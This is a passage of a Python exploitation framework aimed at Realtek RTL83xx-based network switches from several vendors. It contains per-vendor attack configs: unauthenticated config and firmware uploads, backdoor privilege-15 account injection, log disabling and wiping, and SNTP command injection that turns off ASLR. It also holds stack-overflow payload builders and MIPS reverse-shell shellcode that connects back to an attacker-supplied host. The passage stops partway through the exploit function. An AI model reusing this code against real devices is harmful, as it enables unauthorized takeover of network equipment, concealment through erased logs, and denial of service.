'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3', 'vulnerable': True, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':False, 'disable_uri':'/cgi-bin/dispatcher.cgi', 'disable_query':'LOGGING_SERVICE=0&cmd=5121', 'status':'', 'clean_logfile_uri':'/cgi-bin/dispatcher.cgi', 'clean_logfile_query':'cmd_5132=Clear+file+messages', 'clean_logmem_uri':'/cgi-bin/dispatcher.cgi', 'clean_logmem_query':'cmd_5132=Clear+buffered+messages', 'vulnerable': True, 'safe': True }, # Verify lacking authentication 'verify': { 'httpuploadbakcfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload "backup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpuploadbakcfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httpuploadruncfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/update "running-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpuploadruncfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httprestorecfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload "startup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httprestorecfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httpupload.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpupload.cgi', 'check_uri':'', 'content':'dummy', 'content_check':'Image Signature Error', 'vulnerable': True, 'safe': True }, 'dispatcher.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'response':'502', 'Content-Type':False, 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username=admin&password='+ self.random_string(184) + '&login=1', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'json':False, 'authenticated': False, 'encryption':'md5', 'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" secret encrypted PASSWORD\n\n------', 'add_uri':'/cgi-bin/httpuploadruncfg.cgi', 'del_query':'', 'del_uri':'/cgi-bin/dispatcher.cgi?cmd=526&usrName=USERNAME', 'vulnerable': True, 'safe': True }, 'sntp': { 'description':'SNTP command injection (PoC: disable ASLR)', 'json':False, 'authenticated': True, 'enable_uri':'/cgi-bin/dispatcher.cgi', 'enable_query':'sntp_enable=1&cmd=548', 'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings', 'inject_uri':'/cgi-bin/dispatcher.cgi', 'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550', 'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550', 'delete_uri':'/cgi-bin/dispatcher.cgi', 'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550', 'disable_uri':'/cgi-bin/dispatcher.cgi', 'disable_query':'sntp_enable=0&cmd=548', 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # 'stack_cgi_diag': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'&login=1&_CMD_', 'sys_ping_post_check':'', 'sys_ping_post_SIGSEGV': False, # SIGSEGV ? 'workaround':True, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'_CMD_&login=1', 'log_settings_set_cmd':'&LOGGING_SERVICE=0',# Disable Logging CMD 'log_settings_set_SIGSEGV':False, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'', # Clean RAM log CMD 'log_ramClear_SIGSEGV':False, # Clean RAM log SIGSEGV ? 'log_fileClear_cmd':'', # Clean FILE log CMD 'log_fileClear_SIGSEGV':False, # Clean FILE log SIGSEGV ? 'workaround':True, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'_CMD_&login=1', 'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123', 'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=139', 'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=139', 'sys_timeSettings_set_cmd_enable':'&sntp_enable=1', 'sys_timeSettings_set_cmd_disable':'&sntp_enable=0', 'sys_timeSettings_set_SIGSEGV': False, # SIGSEGV ? 'workaround': True, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': False, 'safe': True }, # # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack. # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3', 'query':'username=_ALIGN_USRNOP&password=_PWDNOP_RA_START&login=1&shellcode=_USRNOP_USRNOP_USRNOP_SHELLCODE', 'workaround':True, # My LAB workaround 'stack':True, # False = use Heap, and there are no ASLR 'vulnerable': True, 'safe': True }, }, }, 'TG-NET': { 'vendor': 'Shenzhen TG-NET Botone Technology Co,. Ltd.', 'uri':'http://www.tg-net.net/productshow.asp?ProdNum=1049&parentid=98', 'modulus_uri':'', 'info_leak':False, 'info_leak_JSON':False, 'info_leak_uri':'', 'xsid':False, 'xsid_uri':'', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':False, 'encryption':'clear', 'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'query':'username=USERNAME&password=PASSWORD&login=1', 'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547', 'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3', 'vulnerable': True, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':False, 'disable_uri':'/cgi-bin/dispatcher.cgi', 'disable_query':'LOGGING_SERVICE=0&cmd=4353', 'status':'/cgi-bin/dispatcher.cgi?cmd=4352', 'clean_logfile_uri':'/cgi-bin/dispatcher.cgi', 'clean_logfile_query':'cmd_4364=Clear+file+messages', 'clean_logmem_uri':'/cgi-bin/dispatcher.cgi', 'clean_logmem_query':'cmd_4364=Clear+buffered+messages', 'vulnerable': True, 'safe': True }, # Verify lacking authentication 'verify': { 'httpuploadbakcfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload "backup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpuploadbakcfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httpuploadruncfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/update "running-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpuploadruncfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httprestorecfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload "startup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httprestorecfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httpupload.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpupload.cgi', 'check_uri':'', 'content':'dummy', 'content_check':'Image Signature Error', 'vulnerable': True, 'safe': True }, 'dispatcher.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'response':'502', 'Content-Type':False, 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username=admin&password='+ self.random_string(184) + '&login=1', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'httpuploadfirmware.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpuploadfirmware.cgi', 'check_uri':'', 'content':'dummy', 'content_check':'Image Signature Error', 'vulnerable': True, 'safe': True }, 'httpupload_runstart_cfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload/update "running-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpupload_runstart_cfg.cgi', 'check_uri':'/tmp/startup-config', 'content':'/tmp/startup-config', 'content_check':'/tmp/startup-config', 'vulnerable': True, 'safe': True }, 'version_upgrade.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (Frontend to "httpuploadfirmware.cgi")', 'uri':'/cgi-bin/version_upgrade.cgi', 'check_uri':'', 'content':'Firm Upgrade', 'content_check':'Firm Upgrade', 'vulnerable': True, 'safe': True }, 'factory_reset.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Reset device to factory default (PoC: Too dangerous to verify)', 'uri':'/cgi-bin/factory_reset.cgi', 'check_uri':'', 'content':'Too dangerous to verify', 'content_check':'dummy', 'vulnerable': True, 'safe': False }, 'sysinfo_config.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':False, 'description':'System basic information configuration (Frontend to "change_mac_addr_set.cgi")', 'uri':'/cgi-bin/sysinfo_config.cgi', 'check_uri':'', 'content':'dummy', 'content_check':'"/cgi-bin/change_mac_addr_set', 'vulnerable': True, 'safe': True }, 'change_mac_addr_set.cgi': { 'description':'Stack overflow in "switch_type/sys_hardver" (PoC: crash CGI)', 'response':'502', 'Content-Type':False, 'authenticated': False, 'uri':'/cgi-bin/change_mac_addr_set.cgi', 'content':'switch_type='+ self.random_string(116) +'&sys_hardver=31337&sys_macaddr=DE:AD:BE:EF:13:37&sys_serialnumber=DE:AD:BE:EF:13:37&password=tgnetadmin', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'json':False, 'authenticated': False, 'encryption':'clear', 'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------', 'add_uri':'/cgi-bin/httpuploadruncfg.cgi', 'del_query':'', 'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME', 'vulnerable': True, 'safe': True }, 'sntp': { 'description':'SNTP command injection (PoC: disable ASLR)', 'json':False, 'authenticated': True, 'enable_uri':'/cgi-bin/dispatcher.cgi', 'enable_query':'sntp_enable=1&cmd=548', 'status_uri':'cmd=547', 'inject_uri':'/cgi-bin/dispatcher.cgi', 'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550', 'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550', 'delete_uri':'/cgi-bin/dispatcher.cgi', 'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550', 'disable_uri':'/cgi-bin/dispatcher.cgi', 'disable_query':'sntp_enable=0&cmd=548', 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # 'stack_cgi_diag': { 'vulnerable': False, }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1', 'log_settings_set_cmd':'&LOGGING_SERVICE=0', # Disable Logging CMD 'log_settings_set_SIGSEGV':True, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'', # Clean RAM log CMD 'log_ramClear_SIGSEGV':False, # Clean RAM log SIGSEGV ? 'log_fileClear_cmd':'', # Clean FILE log CMD 'log_fileClear_SIGSEGV':False, # Clean FILE log SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1', 'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123', 'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123', 'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=123', 'sys_timeSettings_set_cmd_enable':'&sntp_enable=1', 'sys_timeSettings_set_cmd_disable':'&sntp_enable=0', 'sys_timeSettings_set_SIGSEGV': False, # SIGSEGV ? 'workaround':True, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack. # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3', 'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1', 'workaround':False, # My LAB workaround #'stack':False, # False = use Heap, and there are no ASLR 'stack':True, # False = use Heap, and there are no ASLR 'vulnerable': True, 'safe': True }, }, }, } if self.ETag == 'report': sorted_dict = OrderedDict(sorted(Vendor_ETag.items(), key=lambda t: t[1])) # sorted by ETag value for targets in sorted_dict: self.target = copy.deepcopy(Vendor_Template[Vendor_ETag[targets]['template']]) self.source = Vendor_ETag[targets] self.dict_merge(self.target,self.source) print "" tmp = "] {} {} v{} [".format(self.target['vendor'],self.target['model'],self.target['version']) print "[{:=^78}]".format(tmp) print self.target['uri'] print "" # make it nicer to read LEN = len(self.target['exploit']) for exploits in self.target['exploit']: if not self.target['exploit'][exploits]['vulnerable']: LEN = LEN - 1 tmp = "] {}({}) [".format("Exploits ",LEN) print "[{:-^78}]".format(tmp) for exploits in self.target['exploit']: tmp = self.target['exploit'][exploits] if self.target['exploit'][exploits]['vulnerable']: log.success("{:.<54}[Authenticated: {}]\n{}\n".format(exploits, tmp['authenticated'] ,tmp['description'])) print "" # make it nicer to read tmp = "] {}({}) [".format("Verification ",len(self.target['verify'])) print "[{:-^78}]".format(tmp) for verification in self.target['verify']: tmp = self.target['verify'][verification] log.success("{:.<54}[Authenticated: {}]\n{}\n".format(verification, tmp['authenticated'] ,tmp['description'])) print "" return False elif self.ETag == 'help': sorted_dict = OrderedDict(sorted(Vendor_ETag.items(), key=lambda t: t[1])) # sorted by ETag value for targets in sorted_dict: self.target = copy.deepcopy(Vendor_Template[Vendor_ETag[targets]['template']]) self.source = Vendor_ETag[targets] self.dict_merge(self.target,self.source) log.info("ETag: {:<11} [{} {} v{}]".format(targets, self.target['vendor'],self.target['model'],self.target['version'])) print "" return False for check in Vendor_ETag.keys(): if check == self.ETag: self.target = copy.deepcopy(Vendor_Template[Vendor_ETag[check]['template']]) self.source = Vendor_ETag[check] self.dict_merge(self.target,self.source) return self.target return False class RTK_RTL83xx: def __init__(self, rhost, proto, verbose, creds, Raw, lhost, lport): self.rhost = rhost self.proto = proto self.verbose = verbose self.credentials = creds self.Raw = Raw self.lhost = lhost self.lport = lport self.event = threading.Event() self.headers = { 'Host':rhost, 'User-Agent':'Chrome' } # # Workaround for Planet Tech. and others as it will always be logged in at my LAB # def Workaround_logout(self): try: URI = '/cgi-bin/dispatcher.cgi?cmd=3' response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,True) return True except Exception as e: return True pass # # Very rare I have seen garbage returned with JSON data # make sure to clean out potential garbage, so we can load JSON with json.loads() # def clean_json(self, text): self.text = text start = 0 result = '' for check in range(0,len(self.text)): if self.text[check] == '{': result += self.text[check] start = start + 1 elif start: result += self.text[check] if self.text[check] == '}': start = start - 1 return result # # Small function to return N in random chars # def random_string(self,length): self.length = length return 'A' * self.length #return ''.join(random.choice(string.lowercase) for i in range(self.length)) def md5hash(self, string, base64encode): self.string = string self.base64encode = base64encode hash_object = hashlib.md5(self.string) md5_hash = hash_object.hexdigest() if self.base64encode: return base64.b64encode(md5_hash) # Why... else: return md5_hash def caesar_encode(self, string): self.string = string return ''.join(chr(32 + int(ord(self.string[char])) % 95) for char in range(0,len(self.string))) def caesar_decode(self, string): self.string = string return ''.join(chr(int(ord(self.string[char])) - 32 % 95) for char in range(0,len(self.string))) # # Obfuscation # # Functionality: # Reversed password string, split each character 7 bytes apart, split and put size of password at two fixed locations in the string, # then fill the rest with random garbage to look like advanced and unknown encryption # # Netgear: GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP # Zyxel: GS1900-24-2.40_AAHL.1_20180705 # def obfuscation_encode(self, password): self.password = password text = '' possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' # Max 99 char in password self.password = self.password[:99] inlen = len(self.password) inlenn = len(self.password) if (len((self.password) * 7) + 7) <= 320: PASS_LEN = 321 # string needs to be 320 bytes as minimum else: PASS_LEN = (len((self.password) * 7) + 7) for i in xrange(1, PASS_LEN ,1): if (0 == i % 7 and inlen > 0): text += self.password[inlen-1] inlen = inlen - 1 elif (i == 123): if inlenn < 10: text += '0' else: text += str(int(math.floor(inlenn / 10))) elif (i == 289): text += str(inlenn % 10) else: #text += '_' # debug text += possible[int(math.floor(randint(0, len(possible)-1)))] # random garbage return text # # Obfuscation # # Netgear: GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP # Zyxel: GS1900-24-2.40_AAHL.1_20180705 # def obfuscation_decode(self, password): self.password = password text = '' for i in range(1, len(self.password) ): if (0 == i % 7): if len(text) == (int(self.password[122]) * 10) + int(self.password[288]): break text += self.password[i-1] text = text[::-1] # reverse string return text def netgear_hash(self, URI): self.URI = URI return '&hash=' + self.md5hash(URI.split("?")[1],False) def _encrypt_RSA(self, modulus, passphrase, text): key = RSA.construct((modulus, passphrase)) cipher = PKCS1_v1_5.new(key) ciphertext = cipher.encrypt(text) return ciphertext def RSA_encrypt_params(self, cisco_modulus, password): self.cisco_modulus = cisco_modulus self.password = password encrypted_passphrase = self._encrypt_RSA(string.atol(self.cisco_modulus, 16), string.atol("10001", 16), self.password) return base64.b64encode(encrypted_passphrase) def RSA_Password(self, string): self.string = string URI = target['modulus_uri'] response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,False) result = json.loads(response.read()) if result['data']['modulus']: cipher = self.RSA_encrypt_params(result['data']['modulus'], str(self.string)) else: return self.string return urllib.quote_plus(cipher) def check_XSID(self, target): self.target = target if self.target['xsid']: return True else: return False def Cisco_XSID(self,target): self.target = target URI = target['xsid_uri'] response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,False) result = json.loads(response.read()) if result['data']['modulus']: cipher = self.RSA_encrypt_params(result['data']['modulus'],str(result['data']['xsid'])) return cipher else: return result['data']['xsid'] def shellcode(self): # # Reverse shell # # SRC: https://www.exploit-db.com/exploits/45541 # MIPSeb = string.join([ "\x24\x0f\xff\xfa" # li $t7, -6 "\x01\xe0\x78\x27" # nor $t7, $zero "\x21\xe4\xff\xfd" # addi $a0, $t7, -3 "\x21\xe5\xff\xfd" # addi $a1, $t7, -3 "\x28\x06\xff\xff" # slti $a2, $zero, -1 "\x24\x02\x10\x57" # li $v0, 4183 ( sys_socket ) "\x01\x01\x01\x0c" # syscall 0x40404 "\xaf\xa2\xff\xff" # sw $v0, -1($sp) "\x8f\xa4\xff\xff" # lw $a0, -1($sp) "\x34\x0f\xff\xfd" # li $t7, -3 ( sa_family = AF_INET ) "\x01\xe0\x78\x27" # nor $t7, $zero "\xaf\xaf\xff\xe0" # sw $t7, -0x20($sp) # ================ You can change port here ================= "\x3c\x0ePP0PP1" # lui $t6, 0x115c ( sin_port = 0x115c ) # 4444 # ============================================================ "\x35\xce\x7a\x69" # ori $t6, $t6, 0x7a69 "\xaf\xae\xff\xe4" # sw $t6, -0x1c($sp) # ================ You can change ip here ================= "\x3c\x0eIP1IP2" # lui $t6, 0xc0a8 ( sin_addr = 0xc0a8 ... # 192 168 "\x35\xceIP3IP4" # ori $t6, $t6, 0x029d ... 0x3901 # 57 1 # ============================================================ "\xaf\xae\xff\xe6" # sw $t6, -0x1a($sp) "\x27\xa5\xff\xe2" # addiu $a1, $sp, -0x1e "\x24\x0c\xff\xef" # li $t4, -17 ( addrlen = 16 ) "\x01\x80\x30\x27" # nor $a2, $t4, $zero "\x24\x02\x10\x4a" # li $v0, 4170 ( sys_connect ) "\x01\x01\x01\x0c" # syscall 0x40404 "\x24\x0f\xff\xfd" # li t7,-3 "\x01\xe0\x28\x27" # nor a1,t7,zero "\x8f\xa4\xff\xff" # lw $a0, -1($sp) # dup2_loop: "\x24\x02\x0f\xdf" # li $v0, 4063 ( sys_dup2 ) "\x01\x01\x01\x0c" # syscall 0x40404 "\x24\xa5\xff\xff" # addi a1,a1,-1 (\x20\xa5\xff\xff) "\x24\x01\xff\xff" # li at,-1 "\x14\xa1\xff\xfb" # bne a1,at, dup2_loop "\x28\x06\xff\xff" # slti $a2, $zero, -1 "\x3c\x0f\x2f\x2f" # lui $t7, 0x2f2f (//) "\x35\xef\x62\x69" # ori $t7, $t7, 0x6269 (bi) "\xaf\xaf\xff\xec" # sw $t7, -0x14($sp) "\x3c\x0e\x6e\x2f" # lui $t6, 0x6e2f (n/) "\x35\xce\x73\x68" # ori $t6, $t6, 0x7368 (sh) "\xaf\xae\xff\xf0" # sw $t6, -0x10($sp) "\xaf\xa0\xff\xf4" # sw $zero, -0xc($sp) "\x27\xa4\xff\xec" # addiu $a0, $sp, -0x14 "\xaf\xa4\xff\xf8" # sw $a0, -8($sp) "\xaf\xa0\xff\xfc" # sw $zero, -4($sp) "\x27\xa5\xff\xf8" # addiu $a1, $sp, -8 "\x24\x02\x0f\xab" # li $v0, 4011 (sys_execve) "\x01\x01\x01\x0c" # syscall 0x40404 "\x8f\x84\x80\x18" # Variant of NOP ], '') # Connect back IP ip_hex = '{:02x} {:02x} {:02x} {:02x}'.format(*map(int, self.lhost.split('.'))) ip_hex = ip_hex.split() IP1=ip_hex[0];IP2=ip_hex[1];IP3=ip_hex[2];IP4=ip_hex[3]; # Let's break apart the hex code of LPORT into two bytes port_hex = hex(int(self.lport))[2:] port_hex = port_hex.zfill(len(port_hex) + len(port_hex) % 2) port_hex = ' '.join(port_hex[i: i+2] for i in range(0, len(port_hex), 2)) port_hex = port_hex.split() if len(port_hex) == 1: port_hex = ('00' + ' ' + ''.join(port_hex)).split() # # Replace IP and PORT in shellcode # MIPSeb = MIPSeb.replace('PP0',chr(int(port_hex[0],16))) MIPSeb = MIPSeb.replace('PP1',chr(int(port_hex[1],16))) MIPSeb = MIPSeb.replace('IP1',chr(int(IP1,16))) MIPSeb = MIPSeb.replace('IP2',chr(int(IP2,16))) MIPSeb = MIPSeb.replace('IP3',chr(int(IP3,16))) MIPSeb = MIPSeb.replace('IP4',chr(int(IP4,16))) return MIPSeb # # Access: Unauthorized # # Start thread for exploting, create a listener on LPORT, wait for connection and stop the exploit thread when remote connected # # Note: # The vulnerability are _not_ from Boa nor Hydra, coming from Realtek coding. # The device should be newly restarted and/or not been accessed with http/https, so the heap is relative untouched. # # This code will: # 1. Trigger stack overflow in boa/Hydra web server [ extractVmlinuxImage(), getFdStr() ] # 2. Overwrite first byte in provided RA with 0x00, so we can jump within the binary # 3. Jump to our gadget # 4. Jump to NOP sled and shellcode on heap # 5. Launch forked() reverse shell # 6. Try restart Boa/Hydra (to mitigate DoS) # # Success: Reverse shell and restarted Boa/Hydra # Failure: No reverse shell and crashed Boa/Hydra (DoS) # def heack_hydra_shell(self, target): self.target = target if not self.target['exploit']['heack_hydra_shell']['vulnerable']: log.failure("Not listed as vulnerable") return False # Connect-timeout in seconds timeout = 20 socket.setdefaulttimeout(timeout) thread.start_new_thread(self.heack_hydra_exploit,("heack_hydra_exploit",self.target,)) lsock = listen(port=self.lport) c = lsock.wait_for_connection() if not self.event.is_set(): c.interactive(prompt = '# ') return True else: log.failure("Got internal connection to quit") c.close() return False # # Access: Unauthorized # def heack_hydra_exploit(self, threadName, target): self.threadName = threadName self.target = target CRLF_NOP = 0x24060d0a # NOP w/ CRLF (li $a2, 0x00000D0A) NOP = 0x2406ffff # NOP (li $a2, 0xFFFFFFFF) JUMP = 0x04110111 # bal +273 # Debug #CRLF_NOP = 0x4c460d0a # LF\r\n #NOP = 0x6e6f6f70 # noop #JUMP = 0x4a4d5044 # JMPD #MIPSeb = ("\x43\x4f\x44\x45" * 45) + "\x4e\x4f\x4f\x50" # CODE + NOOP = 148 bytes query_args = '' # # This will overwrite RA: # # # NETGEAR: 'getFdStr()' modified, this is weird 'solution' to have $t9 loaded with JMP in 'fwrite()' # if self.target.get('hash_uri'): # NETGEAR Inc. (GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP) query_args += struct.pack('>L',(self.target['exploit']['heack_hydra_shell']['gadget'])) * 76 # direct heap address else: query_args += (struct.pack('>L',NOP) * 73) + struct.pack('>L',JUMP) + struct.pack('>L',NOP) # 300 bytes + RA below # # Return address to where we want jump (0x58 will be overwritten with 0x00 below) query_args += struct.pack('>L',(self.target['exploit']['heack_hydra_shell']['gadget'] + 0x58000000)) # 0x58xxxxxx # # Space between new RA and overwrite with 0x00 (Range: 1 => 3) # query_args += ((struct.pack('>L',NOP) * 63) + struct.pack('>L',CRLF_NOP)) * 2 # CRLF_NOP will overwrite '0x58' in above RA address with 0x00, as the code will always terminate CRLF with 0x00 # # 7FF4BE60 6E 6F 6F 70 6E 6F 6F 70 6E 6F 6F 70 6E 6F 6F 70 noopnoopnoopnoop # 7FF4BE70 6E 6F 6F 70 6E 6F 6F 70 6E 6F 6F 70 6E 6F 6F 70 noopnoopnoopnoop # 7FF4BE80 6E 6F 6F 70 6E 6F 6F 70 4C 46 0D 0A 00 40 FF AC noopnoopLF...@.. <=== 'X' overwritten with 0x00 # query_args += (struct.pack('>L',NOP) * 74) + struct.pack('>L',CRLF_NOP) # 300 bytes + 0x00 # # $v0 = tmpHeaderSize # $gp = pointing to heap # # Gadget: # addu $v0, $g0 # The addition of $v0 and $g0 points to our heap NOP sled # jr $v0 # Its lovely when [heap] are rwxp :> # # This adjusting $v0 value (Range: 4 => 9) # query_args += ((struct.pack('>L',NOP) * 63) + struct.pack('>L',CRLF_NOP)) * self.target['exploit']['heack_hydra_shell']['v0'] # # fork() reverse shell to get new PID, and jump over child # query_args += struct.pack('>L',0x24020fa2) # li $v0, 4002 ( fork ) query_args += struct.pack('>L',0x0101010c) # syscall unk_40404 query_args += struct.pack('>L',0x1c400101) # bgtz $v0, +257 ( Jump over child to restart boa/Hydra ) # # Child # query_args += ((struct.pack('>L',NOP) * 60) + struct.pack('>L',CRLF_NOP)) query_args += ((struct.pack('>L',NOP) * 63) + struct.pack('>L',CRLF_NOP)) query_args += ((struct.pack('>L',NOP) * 63) + struct.pack('>L',CRLF_NOP)) # # Shellcode # query_args += self.shellcode() query_args += 